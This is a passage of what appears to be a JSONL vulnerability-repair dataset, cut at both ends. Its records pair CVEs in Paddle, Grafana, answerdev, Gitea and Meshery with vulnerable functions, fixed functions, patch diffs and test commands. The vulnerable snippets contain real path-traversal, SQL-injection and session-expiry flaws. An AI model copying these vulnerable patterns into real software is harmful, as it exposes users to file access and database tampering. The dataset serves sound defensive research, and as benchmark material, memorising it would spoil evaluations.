dst = IRnode.from_list(buf, typ=ret_typ, location=MEMORY, annotation=\"concat destination\")\n \n         ret = [\"seq\"]\n         # stack item representing our current offset in the dst buffer\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-0818", "cve_description": "Arbitrary File Overwrite Via Path Traversal in paddlepaddle/paddle before 2.6", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/PaddlePaddle/Paddle", "patch_url": ["https://github.com/PaddlePaddle/Paddle/commit/5c50d1a8b97b310cbc36560ec36d8377d6f29d7c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_110_1", "commit": "62a1261", "file_path": "python/paddle/dataset/common.py", "start_line": 73, "end_line": 133, "snippet": "def download(url, module_name, md5sum, save_name=None):\n    dirname = os.path.join(DATA_HOME, module_name)\n    if not os.path.exists(dirname):\n        os.makedirs(dirname)\n\n    filename = os.path.join(\n        dirname, url.split('/')[-1] if save_name is None else save_name\n    )\n\n    if os.path.exists(filename) and md5file(filename) == md5sum:\n        return filename\n\n    retry = 0\n    retry_limit = 3\n    while not (os.path.exists(filename) and md5file(filename) == md5sum):\n        if os.path.exists(filename):\n            sys.stderr.write(f\"file {md5file(filename)}  md5 {md5sum}\\n\")\n        if retry < retry_limit:\n            retry += 1\n        else:\n            raise RuntimeError(\n                f\"Cannot download {url} within retry limit {retry_limit}\"\n            )\n        sys.stderr.write(\n            f\"Cache file {filename} not found, downloading {url} \\n\"\n        )\n        sys.stderr.write(\"Begin to download\\n\")\n        try:\n            # (risemeup1):use httpx to replace requests\n            with httpx.stream(\n                \"GET\", url, timeout=None, follow_redirects=True\n            ) as r:\n                total_length = r.headers.get('content-length')\n                if total_length is None:\n                    with open(filename, 'wb') as f:\n                        shutil.copyfileobj(r.raw, f)\n                else:\n                    with open(filename, 'wb') as f:\n                        chunk_size = 4096\n                        total_length = int(total_length)\n                        total_iter = total_length / chunk_size + 1\n                        log_interval = (\n                            total_iter // 20 if total_iter > 20 else 1\n                        )\n                        log_index = 0\n                        bar = paddle.hapi.progressbar.ProgressBar(\n                            total_iter, name='item'\n                        )\n                        for data in r.iter_bytes(chunk_size=chunk_size):\n                            f.write(data)\n                            log_index += 1\n                            bar.update(log_index, {})\n                            if log_index % log_interval == 0:\n                                bar.update(log_index)\n\n        except Exception as e:\n            # re-try\n            continue\n    sys.stderr.write(\"\\nDownload finished\\n\")\n    sys.stdout.flush()\n    return filename"}], "fix_func": [{"id": "fix_py_110_1", "commit": "5c50d1a", "file_path": "python/paddle/dataset/common.py", "start_line": 74, "end_line": 139, "snippet": "def download(url, module_name, md5sum, save_name=None):\n    module_name = re.match(\"^[a-zA-Z0-9_/\\\\-]+$\", module_name).group()\n    if isinstance(save_name, str):\n        save_name = re.match(\n            \"^(?:(?!\\\\.\\\\.)[a-zA-Z0-9_/\\\\.-])+$\", save_name\n        ).group()\n    dirname = os.path.join(DATA_HOME, module_name)\n    if not os.path.exists(dirname):\n        os.makedirs(dirname)\n\n    filename = os.path.join(\n        dirname, url.split('/')[-1] if save_name is None else save_name\n    )\n\n    if os.path.exists(filename) and md5file(filename) == md5sum:\n        return filename\n\n    retry = 0\n    retry_limit = 3\n    while not (os.path.exists(filename) and md5file(filename) == md5sum):\n        if os.path.exists(filename):\n            sys.stderr.write(f\"file {md5file(filename)}  md5 {md5sum}\\n\")\n        if retry < retry_limit:\n            retry += 1\n        else:\n            raise RuntimeError(\n                f\"Cannot download {url} within retry limit {retry_limit}\"\n            )\n        sys.stderr.write(\n            f\"Cache file {filename} not found, downloading {url} \\n\"\n        )\n        sys.stderr.write(\"Begin to download\\n\")\n        try:\n            # (risemeup1):use httpx to replace requests\n            with httpx.stream(\n                \"GET\", url, timeout=None, follow_redirects=True\n            ) as r:\n                total_length = r.headers.get('content-length')\n                if total_length is None:\n                    with open(filename, 'wb') as f:\n                        shutil.copyfileobj(r.raw, f)\n                else:\n                    with open(filename, 'wb') as f:\n                        chunk_size = 4096\n                        total_length = int(total_length)\n                        total_iter = total_length / chunk_size + 1\n                        log_interval = (\n                            total_iter // 20 if total_iter > 20 else 1\n                        )\n                        log_index = 0\n                        bar = paddle.hapi.progressbar.ProgressBar(\n                            total_iter, name='item'\n                        )\n                        for data in r.iter_bytes(chunk_size=chunk_size):\n                            f.write(data)\n                            log_index += 1\n                            bar.update(log_index, {})\n                            if log_index % log_interval == 0:\n                                bar.update(log_index)\n\n        except Exception as e:\n            # re-try\n            continue\n    sys.stderr.write(\"\\nDownload finished\\n\")\n    sys.stdout.flush()\n    return filename"}], "vul_patch": "--- a/python/paddle/dataset/common.py\n+++ b/python/paddle/dataset/common.py\n@@ -1,4 +1,9 @@\n def download(url, module_name, md5sum, save_name=None):\n+    module_name = re.match(\"^[a-zA-Z0-9_/\\\\-]+$\", module_name).group()\n+    if isinstance(save_name, str):\n+        save_name = re.match(\n+            \"^(?:(?!\\\\.\\\\.)[a-zA-Z0-9_/\\\\.-])+$\", save_name\n+        ).group()\n     dirname = os.path.join(DATA_HOME, module_name)\n     if not os.path.exists(dirname):\n         os.makedirs(dirname)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43798", "cve_description": "Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/grafana/grafana", "patch_url": ["https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce"], "programing_language": "Go", "vul_func": [{"id": "vul_go_13_1", "commit": "a2ad0a0", "file_path": "pkg/api/plugins.go", "start_line": 284, "end_line": 331, "snippet": "func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {\n\tpluginID := web.Params(c.Req)[\":pluginId\"]\n\tplugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)\n\tif !exists {\n\t\tc.JsonApiErr(404, \"Plugin not found\", nil)\n\t\treturn\n\t}\n\n\trequestedFile := filepath.Clean(web.Params(c.Req)[\"*\"])\n\tpluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)\n\n\tif !plugin.IncludedInSignature(requestedFile) {\n\t\ths.log.Warn(\"Access to requested plugin file will be forbidden in upcoming Grafana versions as the file \"+\n\t\t\t\"is not included in the plugin signature\", \"file\", requestedFile)\n\t}\n\n\t// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently\n\t// use this with a prefix of the plugin's directory, which is set during plugin loading\n\t// nolint:gosec\n\tf, err := os.Open(pluginFilePath)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tc.JsonApiErr(404, \"Plugin file not found\", err)\n\t\t\treturn\n\t\t}\n\t\tc.JsonApiErr(500, \"Could not open plugin file\", err)\n\t\treturn\n\t}\n\tdefer func() {\n\t\tif err := f.Close(); err != nil {\n\t\t\ths.log.Error(\"Failed to close file\", \"err\", err)\n\t\t}\n\t}()\n\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\tc.JsonApiErr(500, \"Plugin file exists but could not open\", err)\n\t\treturn\n\t}\n\n\tif hs.Cfg.Env == setting.Dev {\n\t\tc.Resp.Header().Set(\"Cache-Control\", \"max-age=0, must-revalidate, no-cache\")\n\t} else {\n\t\tc.Resp.Header().Set(\"Cache-Control\", \"public, max-age=3600\")\n\t}\n\n\thttp.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f)\n}"}], "fix_func": [{"id": "fix_go_13_1", "commit": "c798c0e", "file_path": "pkg/api/plugins.go", "start_line": 284, "end_line": 344, "snippet": "func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {\n\tpluginID := web.Params(c.Req)[\":pluginId\"]\n\tplugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)\n\tif !exists {\n\t\tc.JsonApiErr(404, \"Plugin not found\", nil)\n\t\treturn\n\t}\n\n\t// prepend slash for cleaning relative paths\n\trequestedFile := filepath.Clean(filepath.Join(\"/\", web.Params(c.Req)[\"*\"]))\n\trel, err := filepath.Rel(\"/\", requestedFile)\n\tif err != nil {\n\t\t// slash is prepended above therefore this is not expected to fail\n\t\tc.JsonApiErr(500, \"Failed to get the relative path\", err)\n\t\treturn\n\t}\n\n\tif !plugin.IncludedInSignature(rel) {\n\t\ths.log.Warn(\"Access to requested plugin file will be forbidden in upcoming Grafana versions as the file \"+\n\t\t\t\"is not included in the plugin signature\", \"file\", requestedFile)\n\t}\n\n\tabsPluginDir, err := filepath.Abs(plugin.PluginDir)\n\tif err != nil {\n\t\tc.JsonApiErr(500, \"Failed to get plugin absolute path\", nil)\n\t\treturn\n\t}\n\n\tpluginFilePath := filepath.Join(absPluginDir, rel)\n\t// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently\n\t// use this with a prefix of the plugin's directory, which is set during plugin loading\n\t// nolint:gosec\n\tf, err := os.Open(pluginFilePath)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tc.JsonApiErr(404, \"Plugin file not found\", err)\n\t\t\treturn\n\t\t}\n\t\tc.JsonApiErr(500, \"Could not open plugin file\", err)\n\t\treturn\n\t}\n\tdefer func() {\n\t\tif err := f.Close(); err != nil {\n\t\t\ths.log.Error(\"Failed to close file\", \"err\", err)\n\t\t}\n\t}()\n\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\tc.JsonApiErr(500, \"Plugin file exists but could not open\", err)\n\t\treturn\n\t}\n\n\tif hs.Cfg.Env == setting.Dev {\n\t\tc.Resp.Header().Set(\"Cache-Control\", \"max-age=0, must-revalidate, no-cache\")\n\t} else {\n\t\tc.Resp.Header().Set(\"Cache-Control\", \"public, max-age=3600\")\n\t}\n\n\thttp.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f)\n}"}], "vul_patch": "--- a/pkg/api/plugins.go\n+++ b/pkg/api/plugins.go\n@@ -6,14 +6,27 @@\n \t\treturn\n \t}\n \n-\trequestedFile := filepath.Clean(web.Params(c.Req)[\"*\"])\n-\tpluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)\n+\t// prepend slash for cleaning relative paths\n+\trequestedFile := filepath.Clean(filepath.Join(\"/\", web.Params(c.Req)[\"*\"]))\n+\trel, err := filepath.Rel(\"/\", requestedFile)\n+\tif err != nil {\n+\t\t// slash is prepended above therefore this is not expected to fail\n+\t\tc.JsonApiErr(500, \"Failed to get the relative path\", err)\n+\t\treturn\n+\t}\n \n-\tif !plugin.IncludedInSignature(requestedFile) {\n+\tif !plugin.IncludedInSignature(rel) {\n \t\ths.log.Warn(\"Access to requested plugin file will be forbidden in upcoming Grafana versions as the file \"+\n \t\t\t\"is not included in the plugin signature\", \"file\", requestedFile)\n \t}\n \n+\tabsPluginDir, err := filepath.Abs(plugin.PluginDir)\n+\tif err != nil {\n+\t\tc.JsonApiErr(500, \"Failed to get plugin absolute path\", nil)\n+\t\treturn\n+\t}\n+\n+\tpluginFilePath := filepath.Join(absPluginDir, rel)\n \t// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently\n \t// use this with a prefix of the plugin's directory, which is set during plugin loading\n \t// nolint:gosec\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-43798:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/grafana\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^Test_GetPluginAssets$ github.com/grafana/grafana/pkg/api\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-43798:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/grafana\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(Test_GetPluginAssets)$' github.com/grafana/grafana/pkg/api\n"}
{"cve_id": "CVE-2023-1543", "cve_description": "Insufficient Session Expiration in GitHub repository answerdev/answer prior to 1.0.6.", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/answerdev/answer", "patch_url": ["https://github.com/answerdev/answer/commit/cd742b75605c99776f32d271c0a60e0f468e181c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_251_1", "commit": "1de3ec27e50ba7389c9449c59e8ea3a37a908ee4", "file_path": "internal/controller/user_controller.go", "start_line": 199, "end_line": 207, "snippet": "func (uc *UserController) UserLogout(ctx *gin.Context) {\n\taccessToken := middleware.ExtractToken(ctx)\n\tif len(accessToken) == 0 {\n\t\thandler.HandleResponse(ctx, nil, nil)\n\t\treturn\n\t}\n\t_ = uc.authService.RemoveUserCacheInfo(ctx, accessToken)\n\thandler.HandleResponse(ctx, nil, nil)\n}"}], "fix_func": [{"id": "fix_go_251_1", "commit": "cd742b75605c99776f32d271c0a60e0f468e181c", "file_path": "internal/controller/user_controller.go", "start_line": 199, "end_line": 208, "snippet": "func (uc *UserController) UserLogout(ctx *gin.Context) {\n\taccessToken := middleware.ExtractToken(ctx)\n\tif len(accessToken) == 0 {\n\t\thandler.HandleResponse(ctx, nil, nil)\n\t\treturn\n\t}\n\t_ = uc.authService.RemoveUserCacheInfo(ctx, accessToken)\n\t_ = uc.authService.RemoveAdminUserCacheInfo(ctx, accessToken)\n\thandler.HandleResponse(ctx, nil, nil)\n}"}], "vul_patch": "--- a/internal/controller/user_controller.go\n+++ b/internal/controller/user_controller.go\n@@ -5,5 +5,6 @@\n \t\treturn\n \t}\n \t_ = uc.authService.RemoveUserCacheInfo(ctx, accessToken)\n+\t_ = uc.authService.RemoveAdminUserCacheInfo(ctx, accessToken)\n \thandler.HandleResponse(ctx, nil, nil)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-45325", "cve_description": "Server Side Request Forgery (SSRF) vulneraility exists in Gitea before 1.7.0 using the OpenID URL.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/go-gitea/gitea", "patch_url": ["https://github.com/go-gitea/gitea/commit/e9c4609410e9c0a77b257f6bd0e6e0a1c038cbde"], "programing_language": "Go", "vul_func": [{"id": "vul_go_242_1", "commit": "176a6048b4ce43b3f9384083c2ab299aac1fa83a", "file_path": "routers/user/auth_openid.go", "start_line": 90, "end_line": 120, "snippet": "func SignInOpenIDPost(ctx *context.Context, form auth.SignInOpenIDForm) {\n\tctx.Data[\"Title\"] = ctx.Tr(\"sign_in\")\n\tctx.Data[\"PageIsSignIn\"] = true\n\tctx.Data[\"PageIsLoginOpenID\"] = true\n\n\tif ctx.HasError() {\n\t\tctx.HTML(200, tplSignInOpenID)\n\t\treturn\n\t}\n\n\tid, err := openid.Normalize(form.Openid)\n\tif err != nil {\n\t\tctx.RenderWithErr(err.Error(), tplSignInOpenID, &form)\n\t\treturn\n\t}\n\tform.Openid = id\n\n\tlog.Trace(\"OpenID uri: \" + id)\n\n\terr = allowedOpenIDURI(id)\n\tif err != nil {\n\t\tctx.RenderWithErr(err.Error(), tplSignInOpenID, &form)\n\t\treturn\n\t}\n\n\tredirectTo := setting.AppURL + \"user/login/openid\"\n\turl, err := openid.RedirectURL(id, redirectTo, setting.AppURL)\n\tif err != nil {\n\t\tctx.RenderWithErr(err.Error(), tplSignInOpenID, &form)\n\t\treturn\n\t}"}], "fix_func": [{"id": "fix_go_242_1", "commit": "e9c4609410e9c0a77b257f6bd0e6e0a1c038cbde", "file_path": "routers/user/auth_openid.go", "start_line": 90, "end_line": 121, "snippet": "func SignInOpenIDPost(ctx *context.Context, form auth.SignInOpenIDForm) {\n\tctx.Data[\"Title\"] = ctx.Tr(\"sign_in\")\n\tctx.Data[\"PageIsSignIn\"] = true\n\tctx.Data[\"PageIsLoginOpenID\"] = true\n\n\tif ctx.HasError() {\n\t\tctx.HTML(200, tplSignInOpenID)\n\t\treturn\n\t}\n\n\tid, err := openid.Normalize(form.Openid)\n\tif err != nil {\n\t\tctx.RenderWithErr(err.Error(), tplSignInOpenID, &form)\n\t\treturn\n\t}\n\tform.Openid = id\n\n\tlog.Trace(\"OpenID uri: \" + id)\n\n\terr = allowedOpenIDURI(id)\n\tif err != nil {\n\t\tctx.RenderWithErr(err.Error(), tplSignInOpenID, &form)\n\t\treturn\n\t}\n\n\tredirectTo := setting.AppURL + \"user/login/openid\"\n\turl, err := openid.RedirectURL(id, redirectTo, setting.AppURL)\n\tif err != nil {\n\t\tlog.Error(1, \"Error in OpenID redirect URL: %s, %v\", redirectTo, err.Error())\n\t\tctx.RenderWithErr(fmt.Sprintf(\"Unable to find OpenID provider in %s\", redirectTo), tplSignInOpenID, &form)\n\t\treturn\n\t}"}], "vul_patch": "--- a/routers/user/auth_openid.go\n+++ b/routers/user/auth_openid.go\n@@ -26,6 +26,7 @@\n \tredirectTo := setting.AppURL + \"user/login/openid\"\n \turl, err := openid.RedirectURL(id, redirectTo, setting.AppURL)\n \tif err != nil {\n-\t\tctx.RenderWithErr(err.Error(), tplSignInOpenID, &form)\n+\t\tlog.Error(1, \"Error in OpenID redirect URL: %s, %v\", redirectTo, err.Error())\n+\t\tctx.RenderWithErr(fmt.Sprintf(\"Unable to find OpenID provider in %s\", redirectTo), tplSignInOpenID, &form)\n \t\treturn\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-35182", "cve_description": "Meshery is an open source, cloud native manager that enables the design and management of Kubernetes-based infrastructure and applications. A SQL injection vulnerability in Meshery prior to version 0.7.22 may lead to arbitrary file write by using a SQL injection stacked queries payload, and the ATTACH DATABASE command. Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system. The Meshery project exposes the function `GetAllEvents` at the API URL `/api/v2/events`. The sort query parameter read in `events_streamer.go` is directly used to build a SQL query in `events_persister.go`. Version 0.7.22 fixes this issue by using the `SanitizeOrderInput` function.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/meshery/meshery", "patch_url": ["https://github.com/meshery/meshery/commit/b55f6064d0c6a965aee38f30281f99da7dc4420c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_228_1", "commit": "c54bc36", "file_path": "mesheryctl/pkg/utils/helpers.go", "start_line": 544, "end_line": 551, "snippet": "func ClearLine() {\n\tclearCmd := exec.Command(\"clear\") // for UNIX-like systems\n\tif runtime.GOOS == \"windows\" {\n\t\tclearCmd = exec.Command(\"cmd\", \"/c\", \"cls\") // for Windows\n\t}\n\tclearCmd.Stdout = os.Stdout\n\t_ = clearCmd.Run()\n}"}, {"id": "vul_go_228_2", "commit": "c54bc36", "file_path": "server/handlers/meshsync_handler.go", "start_line": 187, "end_line": 262, "snippet": "func (h *Handler) GetMeshSyncResourcesKinds(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {\n\trw.Header().Set(\"Content-Type\", \"application/json\")\n\tenc := json.NewEncoder(rw)\n\n\tpage, offset, limit,\n\t\tsearch, order, sort, _ := getPaginationParams(r)\n\n\tfilter := struct {\n\t\tClusterIds []string `json:\"clusterIds\"`\n\t}{}\n\n\tvar kinds []string\n\tvar totalCount int64\n\n\tclusterIds := r.URL.Query().Get(\"clusterIds\")\n\tif clusterIds != \"\" {\n\t\terr := json.Unmarshal([]byte(clusterIds), &filter.ClusterIds)\n\t\tif err != nil {\n\t\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tfilter.ClusterIds = []string{}\n\t}\n\n\tresult := provider.GetGenericPersister().Model(&model.KubernetesResource{}).Distinct(\"kind\").\n\t\tWhere(\"kubernetes_resources.cluster_id IN (?)\", filter.ClusterIds)\n\n\tif search != \"\" {\n\t\tresult = result.Where(\"kubernetes_resources.kind LIKE ?\", \"%\"+search+\"%\")\n\t}\n\n\tif limit != 0 {\n\t\tresult = result.Limit(limit)\n\t}\n\n\tif offset != 0 {\n\t\tresult = result.Offset(offset)\n\t}\n\n\tif order != \"\" {\n\t\tif sort == \"desc\" {\n\t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\t\t} else {\n\t\t\tresult = result.Order(order)\n\t\t}\n\t}\n\n\terr := result.Pluck(\"kinds\", &kinds).Error\n\tif err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tresponse := &models.MeshSyncResourcesKindsAPIResponse{\n\t\tKinds:      kinds,\n\t\tTotalCount: totalCount,\n\t\tPage:       page,\n\t\tPageSize:   limit,\n\t}\n\n\tif err := enc.Encode(response); err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t}\n}\nfunc (h *Handler) DeleteMeshSyncResource(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {\n\tresourceID := mux.Vars(r)[\"id\"]\n\tdb := provider.GetGenericPersister()\n\terr := db.Model(&model.KubernetesResource{}).Delete(&model.KubernetesResource{ID: resourceID}).Error\n\tif err != nil {\n\t\th.log.Error(models.ErrDelete(err, \"meshsync data\", http.StatusInternalServerError))\n\t}\n}"}, {"id": "vul_go_228_3", "commit": "c54bc36", "file_path": "server/models/events_persister.go", "start_line": 47, "end_line": 105, "snippet": "func (e *EventsPersister) GetAllEvents(eventsFilter *events.EventsFilter, userID uuid.UUID) (*EventsResponse, error) {\n\teventsDB := []*events.Event{}\n\tfinder := e.DB.Model(&events.Event{}).Where(\"user_id = ?\", userID)\n\n\tif len(eventsFilter.Category) != 0 {\n\t\tfinder = finder.Where(\"category IN ?\", eventsFilter.Category)\n\t}\n\n\tif len(eventsFilter.Action) != 0 {\n\t\tfinder = finder.Where(\"action IN ?\", eventsFilter.Action)\n\t}\n\n\tif len(eventsFilter.Severity) != 0 {\n\t\tfinder = finder.Where(\"severity IN ?\", eventsFilter.Severity)\n\t}\n\n\tif eventsFilter.Search != \"\" {\n\t\tfinder = finder.Where(\"description LIKE ?\", \"%\"+eventsFilter.Search+\"%\")\n\t}\n\n\tif eventsFilter.Status != \"\" {\n\t\tfinder = finder.Where(\"status = ?\", eventsFilter.Status)\n\t}\n\n\tif eventsFilter.Order == \"asc\" {\n\t\tfinder = finder.Order(eventsFilter.SortOn)\n\t} else {\n\t\tfinder = finder.Order(clause.OrderByColumn{Column: clause.Column{Name: eventsFilter.SortOn}, Desc: true})\n\t}\n\n\tvar count int64\n\tfinder.Count(&count)\n\n\tif eventsFilter.Offset != 0 {\n\t\tfinder = finder.Offset(eventsFilter.Offset)\n\t}\n\n\tif eventsFilter.Limit != 0 {\n\t\tfinder = finder.Limit(eventsFilter.Limit)\n\t}\n\n\terr := finder.Scan(&eventsDB).Error\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcountBySeverity, err := e.getCountBySeverity(userID, eventsFilter.Status)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &EventsResponse{\n\t\tEvents:               eventsDB,\n\t\tPageSize:             eventsFilter.Limit,\n\t\tTotalCount:           count,\n\t\tCountBySeverityLevel: countBySeverity,\n\t}, nil\n}"}], "fix_func": [{"id": "fix_go_228_1", "commit": "b55f6064d0c6a965aee38f30281f99da7dc4420c", "file_path": "mesheryctl/pkg/utils/helpers.go", "start_line": 544, "end_line": 554, "snippet": "func ClearLine() {\n\tclearCmd := exec.Command(\"clear\") // for UNIX-like systems\n\tif runtime.GOOS == \"windows\" {\n\t\tclearCmd = exec.Command(\"cmd\", \"/c\", \"cls\") // for Windows\n\t}\n\tclearCmd.Stdout = os.Stdout\n\terr := clearCmd.Run()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}"}, {"id": "fix_go_228_2", "commit": "b55f6064d0c6a965aee38f30281f99da7dc4420c", "file_path": "server/handlers/meshsync_handler.go", "start_line": 187, "end_line": 263, "snippet": "func (h *Handler) GetMeshSyncResourcesKinds(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {\n\trw.Header().Set(\"Content-Type\", \"application/json\")\n\tenc := json.NewEncoder(rw)\n\n\tpage, offset, limit,\n\t\tsearch, order, sort, _ := getPaginationParams(r)\n\n\tfilter := struct {\n\t\tClusterIds []string `json:\"clusterIds\"`\n\t}{}\n\n\tvar kinds []string\n\tvar totalCount int64\n\n\tclusterIds := r.URL.Query().Get(\"clusterIds\")\n\tif clusterIds != \"\" {\n\t\terr := json.Unmarshal([]byte(clusterIds), &filter.ClusterIds)\n\t\tif err != nil {\n\t\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tfilter.ClusterIds = []string{}\n\t}\n\n\tresult := provider.GetGenericPersister().Model(&model.KubernetesResource{}).Distinct(\"kind\").\n\t\tWhere(\"kubernetes_resources.cluster_id IN (?)\", filter.ClusterIds)\n\n\tif search != \"\" {\n\t\tresult = result.Where(\"kubernetes_resources.kind LIKE ?\", \"%\"+search+\"%\")\n\t}\n\n\tif limit != 0 {\n\t\tresult = result.Limit(limit)\n\t}\n\n\tif offset != 0 {\n\t\tresult = result.Offset(offset)\n\t}\n\n\torder = models.SanitizeOrderInput(order, []string{\"created_at\", \"updated_at\", \"name\"})\n\tif order != \"\" {\n\t\tif sort == \"desc\" {\n\t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\t\t} else {\n\t\t\tresult = result.Order(order)\n\t\t}\n\t}\n\n\terr := result.Pluck(\"kinds\", &kinds).Error\n\tif err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tresponse := &models.MeshSyncResourcesKindsAPIResponse{\n\t\tKinds:      kinds,\n\t\tTotalCount: totalCount,\n\t\tPage:       page,\n\t\tPageSize:   limit,\n\t}\n\n\tif err := enc.Encode(response); err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t}\n}\nfunc (h *Handler) DeleteMeshSyncResource(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {\n\tresourceID := mux.Vars(r)[\"id\"]\n\tdb := provider.GetGenericPersister()\n\terr := db.Model(&model.KubernetesResource{}).Delete(&model.KubernetesResource{ID: resourceID}).Error\n\tif err != nil {\n\t\th.log.Error(models.ErrDelete(err, \"meshsync data\", http.StatusInternalServerError))\n\t}\n}"}, {"id": "fix_go_228_3", "commit": "b55f6064d0c6a965aee38f30281f99da7dc4420c", "file_path": "server/models/events_persister.go", "start_line": 47, "end_line": 106, "snippet": "func (e *EventsPersister) GetAllEvents(eventsFilter *events.EventsFilter, userID uuid.UUID) (*EventsResponse, error) {\n\teventsDB := []*events.Event{}\n\tfinder := e.DB.Model(&events.Event{}).Where(\"user_id = ?\", userID)\n\n\tif len(eventsFilter.Category) != 0 {\n\t\tfinder = finder.Where(\"category IN ?\", eventsFilter.Category)\n\t}\n\n\tif len(eventsFilter.Action) != 0 {\n\t\tfinder = finder.Where(\"action IN ?\", eventsFilter.Action)\n\t}\n\n\tif len(eventsFilter.Severity) != 0 {\n\t\tfinder = finder.Where(\"severity IN ?\", eventsFilter.Severity)\n\t}\n\n\tif eventsFilter.Search != \"\" {\n\t\tfinder = finder.Where(\"description LIKE ?\", \"%\"+eventsFilter.Search+\"%\")\n\t}\n\n\tif eventsFilter.Status != \"\" {\n\t\tfinder = finder.Where(\"status = ?\", eventsFilter.Status)\n\t}\n\n\tsortOn := SanitizeOrderInput(eventsFilter.SortOn, []string{\"created_at\", \"updated_at\", \"name\"})\n\tif eventsFilter.Order == \"asc\" {\n\t\tfinder = 